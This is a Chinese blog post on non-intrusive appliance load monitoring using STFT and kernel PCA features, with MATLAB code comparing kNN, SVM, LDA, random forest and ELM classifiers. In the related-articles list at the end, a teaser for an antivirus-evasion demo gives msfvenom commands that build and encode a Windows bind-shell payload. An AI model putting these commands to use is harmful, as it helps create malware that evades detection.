基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

news2024/10/7 18:31:32

 👨‍🎓个人主页:研学社的博客 

💥💥💞💞欢迎来到本博客❤️❤️💥💥

🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。

⛳️座右铭:行百里者,半于九十。

📋📋📋本文目录如下:🎁🎁🎁

目录

💥1 概述

📚2 运行结果

🎉3 参考文献

🌈4 Matlab代码实现


💥1 概述

针对目前非侵入式负荷监测仅能识别单个家用电器、多种家用电器同时运行识别率低的问题,本文提出了一种提取电流波形特征以识别家用电器的方法。使用短时傅里叶变换(STFT)和核PCA技术来提取这些特征。定义特征后,分类器k-最近邻(kNN),支持向量机(SVM),线性判别分析(LDA),随机森林(RF)和极限学习机(ELM)用于设备(或设备组合)识别。

📚2 运行结果

部分代码:

%% Classification
%% KNN
% Train
start_time_train=cputime;
KNN = fitcknn(Xtrainp,Ytrain,'NumNeighbors',5);
end_time_train=cputime;
TrainTime_knn=end_time_train-start_time_train

% Test
start_time_test=cputime;
label_knn = predict(KNN,Xtestp);
end_time_test=cputime;
TestTime_knn=end_time_test-start_time_test
AccRate_Knn = sum(Ytest' == label_knn)/length(Ytest)
        
%% SVM
% Train
start_time_train=cputime;
tSVM = templateSVM('Standardize',1,'KernelFunction','linear');
SVM = fitcecoc(Xtrainp,Ytrain,'Learners',tSVM);
end_time_train=cputime;
TrainTime_svm=end_time_train-start_time_train

% Test
start_time_test=cputime;
label_svm = predict(SVM,Xtestp);
end_time_test=cputime;
TestTime_svm=end_time_test-start_time_test
AccRat_svm = sum(Ytest' == label_svm)/length(Ytest)

%% LDA
% Train
start_time_train=cputime;
LDA = fitcdiscr(Xtrainp,Ytrain);
end_time_train=cputime;
TrainTime_lda=end_time_train-start_time_train

% Test
start_time_test=cputime;
label_lda = predict(LDA,Xtestp);
end_time_test=cputime;
TestTime_lda=end_time_test-start_time_test
AccRate_lda = sum(Ytest' == label_lda)/length(Ytest)

%% Decision tree
% train
start_time_train=cputime;
TREE = TreeBagger(150,Xtrainp,Ytrain,'OOBPredictorImportance','on');
end_time_train=cputime;
TrainTime_tree=end_time_train-start_time_train

% Test
start_time_test=cputime;
label_tree = str2double(predict(TREE,Xtestp));
end_time_test=cputime;
TestTime_tree=end_time_test-start_time_test
AccRate_tree = sum(Ytest' == label_tree)/length(Ytest)

%% ELM
[TrainingTime, TestingTime, ~, AccRate_elm, label_elm] = elm_aece(Xtrainp',...
    Ytrain, Xtestp', Ytest, 1, 1500, 'sig');
AccRate_elm

%% Statistics
C_svm = confusionmat(Ytest',label_svm);
C_lda = confusionmat(Ytest',label_lda);
C_knn = confusionmat(Ytest',label_knn);
C_tree = confusionmat(Ytest',label_tree);
C_elm = confusionmat(Ytest',label_elm);
[result_svm,reference_svm]= getStatistical(C_svm);
[result_knn,reference_knn]= getStatistical(C_knn);
[result_lda,reference_lda]= getStatistical(C_lda);
[result_tree,reference_tree]= getStatistical(C_tree);
[result_elm,reference_elm]= getStatistical(C_elm);

🎉3 参考文献

部分理论来源于网络,如有侵权请联系删除。

[1]李争,王泽,冯威,安国庆,王强,陈贺.基于CNN与K-means聚类的非侵入式电器负荷识别方法[J].河北科技大学学报,2022,43(04):365-373.

[2]Daniel Cavalieri (2022). KPCA and STFT Non-intrusive Load Monitoring 

🌈4 Matlab代码实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22842.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表(完整版)一、介绍二、compareTo()使用场景场景一:数值型字符串比较场景二:排序比较场景三:对相同结构的日期比较三、源码分析四、全量ASCII 码表(完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年,所有浏览器都完整的支持ECMAScript 5.1,旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日,ECMA国际组织发布了 ECMAScript 的第六版,该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好,我是阿阳 今天给大家分享CSGO搬砖项目,这个是最为稳定利润可观的项目,一个月净赚3万 阿阳网络创始人,8年互联网项目实战经验,个人ip打造【玩赚steam,3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法: 一种是继承Thread类,重写run方法: public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源,他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用,打印结果就会混乱输出结果;如果一个内存资源被多个进程同时修改,进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月17日🌴 &#x…

Java多线程从基本概念到精通大神,大佬给我们铺平学习之路

Java 提供了多线程编程的内置支持,让我们可以轻松开发多线程应用。 Java 中我们最为熟悉的线程就是 main 线程——主线程。 一个进程可以并发多个线程,每条线程并行执行不同的任务。线程是进程的基本单位,是一个单一顺序的控制流,…

常见的限流算法与实现

限流的实现 常见的限流算法: 限流是对某一时间窗口内的请求数进行限制,保持系统的可用性和稳定性,防止因流量暴增而导致的系统运行缓慢或宕机。 常见的限流算法有三种: 计数器限流(固定窗口) 原理: 时间线划分为多…

Dubbo3.0入门-Java版

Dubbo 简介 ​ Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java、Golang 等多语言 SDK 实现。使用 Dubbo 开发的微服务原生具备相互之间的远程地址发现与通信能力, 利用 Dubbo 提供的丰富服…

【软件测试】测试人终将迎来末路?测试人的我35岁就坐等失业?

目录:导读一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜)一句话萦绕在耳畔测试乃至测开…

02 LaTex之小tips

1.运行 2.头+尾 \documentclass[11pt]{article}\usepackage{algorithm, algpseudocode} \usepackage{amsmath,amssymb,amsthm} \usepackage{mathrsfs}% huaxie zimu \textwidth 16cm\textheight 22cm\oddsidemargin0cm\evensidemargin\oddsidemargin\usepackage{un…

Java#17(static)

目录 一.静态关键字static 1.静态变量(被static修饰的成员变量) 2.静态方法(被static修饰的成员方法) 扩展:工具类的简单使用 三.static关键字的注意事项 一.静态关键字static 1.静态变量(被static修饰的成员变量) 特点: (1)被该类的所有对象共享 (2)不属于对象,属于类 (3)…

版权交易平台app开发,构建版权元宇宙生态

近年来在国家的大力宣传推广下,人们在版权方面的保护意识逐步提高,大力发展版权交易市场,不仅是响应国家号召的体现,更是保护公民合法权益的重要举措。版权交易平台app的开发为创业者提供了一个全新投资方向,同时app还…

带你认识工厂类设计模式——简单工厂工厂方法抽象工厂简单抽象工厂反射简单抽象工厂

工厂类设计模式简单工厂模式简单工厂模式类图简单工厂实现代码实现小结工厂方法模式工厂方法模式类图工厂方法模式代码实现小结抽象工厂模式抽象工厂模式类图抽象工厂模式代码实现小结:用简单工厂改进抽象工厂模式简单抽象工厂模式类图简单抽象工厂模式代码实现小结…

高项 人力资源管理论文

4个过程: 人力资源管理简单可以归纳为以下四点:明确需要的人((制定人力资源管理计划),找到合适的人(组建项目团队),用好身边的人(建设项目团队)&…

宝塔面板一键部署芸众商城智慧商业系统 打造多终端直播分销商城

芸众商城社交电商系统前端基于vue开发,后端基于laravel开发,免费版本全开源,支持商用,可同时支持多端口部署运行;本教程将使用宝塔面板一键部署的方式搭建芸众商城系统,使用宝塔面板搭建,大大提…

ShardingSphere实现数据库读写分离,主从库分离,docker详细教程

一.什么是 ShardingSphere 引用官方的话: Apache ShardingSphere 是一款分布式的数据库生态系统, 可以将任意数据库转换为分布式数据库,并通过数据分片、弹性伸缩、加密等能力对原有数据库进行增强。 Apache ShardingSphere 设计哲学为 Dat…

计算机毕业设计ssm+vue基本微信小程序的购物商城系统

项目介绍 随着互联网的趋势的到来,各行各业都在考虑利用互联网将自己的信息推广出去,最好方式就是建立自己的平台信息,并对其进行管理,随着现在智能手机的普及,人们对于智能手机里面的应用购物平台小程序也在不断的使用,本文首先分析了购物平台小程序应用程序的需求,从系统开发…